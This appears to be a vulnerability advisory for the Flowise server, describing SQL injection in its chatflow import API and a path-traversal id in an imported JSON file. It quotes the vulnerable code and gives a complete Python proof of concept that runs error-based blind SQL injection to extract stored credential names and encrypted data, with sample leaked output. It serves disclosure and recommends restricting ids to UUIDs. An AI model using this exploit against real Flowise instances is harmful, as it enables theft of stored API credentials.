| Summary | FlowiseDB vulnerable to SQL Injection by authenticated users ### Summary import functions are vulnerable. * [importChatflows](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/chatflows/index.ts#L219) * [importTools](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/tools/index.ts#L85) * [importVariables](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/variables/index.ts) ### Details **Authenticated user** can call importChatflows API, import json file such as `AllChatflows.json`. but Due to insufficient validation to chatflow.id in importChatflows API, 2 issues arise. **Issue 1 (Bug Type)** 1. Malicious user creates `AllChatflows.json` file by adding `../` and arbitrary path to the chatflow.id of the json file. ```json { "Chatflows": [ { "id": "../../../../../../apikey", "name": "clickme", "flowData": "{}" } ] } ``` 2. Victim download this file, and import this to flowise. 3. When victim click created chatflow, victim access to flowise:3000/canvas/{chatflow.id}. **Issue 2 (Vulnerability Type)** importChatflows API use unsafe SQL Query. ```javascript // packages/server/src/services/chatflows/index.ts const importChatflows = async (newChatflows: Partial<ChatFlow>[]): Promise<any> => { try { const appServer = getRunningExpressApp() // step 1 - check whether file chatflows array is zero if (newChatflows.length == 0) return // step 2 - check whether ids are duplicate in database let ids = '(' let count: number = 0 const lastCount = newChatflows.length - 1 newChatflows.forEach((newChatflow) => { ids += `'${newChatflow.id}'` // <===== user input if (lastCount != count) ids += ',' if (lastCount == count) ids += ')' count += 1 }) const selectResponse = await appServer.AppDataSource.getRepository(ChatFlow) .createQueryBuilder('cf') .select('cf.id') .where(`cf.id IN ${ids}`) // <===== here .getMany() const foundIds = selectResponse.map((response) => { return response.id }) ``` It changes like `SELECT cf.id FROM cf WHERE cf.id IN ('{USER-INPUT...}')` by the code above. When `') {Malicious SQL Query} --` is passed to newChatflow.id, SQL Injection occurs. ### PoC ```python import argparse import requests def import_chatflows( url: str, token: str, payload: dict ): response = requests.post( f'{url}/api/v1/chatflows/importchatflows', headers={ 'Authorization': f'Bearer {token}' # 'Authorization': f'Basic {token}' }, json=payload ) return response.json() def import_normal_data( api_url: str, token: str, normal_data: str ): data_id = 'aaaaaa' payload = { "Chatflows": [ { "id": data_id, "name": normal_data, "flowData": "{}" } ] } import_chatflows( url=api_url, token=token, payload=payload ) return data_id def get_character( api_url: str, token: str, data_id: str, column_name: str, index: int ): injection_query = f'(SELECT ascii(substr({column_name},{index},1)) FROM credential limit 0,1)' def create_payload( c: int ): return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- " chatflows_json = { "Chatflows": [ { "id": "", "name": data_id, "flowData": "{}" } ] } bitbox = [ 64, 32, 16, 8, 4, 2, 1 ] character = 0 for bit in bitbox: payload = create_payload(c=character + bit) chatflows_json['Chatflows'][0]['id'] = payload res = import_chatflows( url=api_url, token=token, payload=chatflows_json ) if 'DOUBLE value is out of range' in res['message']: # character is more then bit character += bit else: # character is less then bit character += 0 return chr(character) def get_length( api_url: str, token: str, data_id: str, column_name: str ): injection_query = f'(SELECT length({column_name}) FROM credential limit 0,1)' def create_payload( c: int ): return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- " chatflows_json = { "Chatflows": [ { "id": "", "name": data_id, "flowData": "{}" } ] } column_len = 0 bitbox = [ 256, 128, 64, 32, 16, 8, 4, 2, 1 ] for bit in bitbox: payload = create_payload(c=column_len + bit) chatflows_json['Chatflows'][0]['id'] = payload res = import_chatflows( url=api_url, token=token, payload=chatflows_json ) if 'DOUBLE value is out of range' in res['message']: # column_len is more then bit column_len += bit else: # column_len is less then bit column_len += 0 return column_len def main( url: str, token: str ): api_url = url column_box = [ 'credentialName', 'encryptedData' ] data_id = import_normal_data( api_url=api_url, token=token, normal_data='flow01' ) for column_name in column_box: column_len = get_length( api_url=api_url, token=token, data_id=data_id, column_name=column_name ) print(f'[+] {column_name} length is {column_len}') result = '' for i in range(column_len): result += get_character( api_url=api_url, token=token, data_id=data_id, column_name=column_name, index=i + 1 ) print(f'[+] {column_name}: {result}') if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument( '--url', type=str, default='http://flowise:3000' ) parser.add_argument( '--access', type=str, required=True, help='Get from http://flowise:3000/apikey' ) m_args = parser.parse_args() main( url=m_args.url, token=m_args.access ) ``` **poc results: encryptedData from flowise database credential table was successfully leaked.** ``` /app # python ex2.py --url http://flowise:3000 --access "blahblah~~~" [+] credentialName length is 9 [+] credentialName: openAIApi [+] encryptedData length is 88 [+] encryptedData: U2FsdGVkX19LlIhbD4M9q9reLWQilBY6ffWo2S9PQ669CP1HpMPa5g1h1rJL0ZK3x0UMsLi/8Pz6TbSFrmIZbg== ``` It is recommended to limit all chatflow ids & chat ids to UUID. ### Impact * Database leak * Lateral Movement |
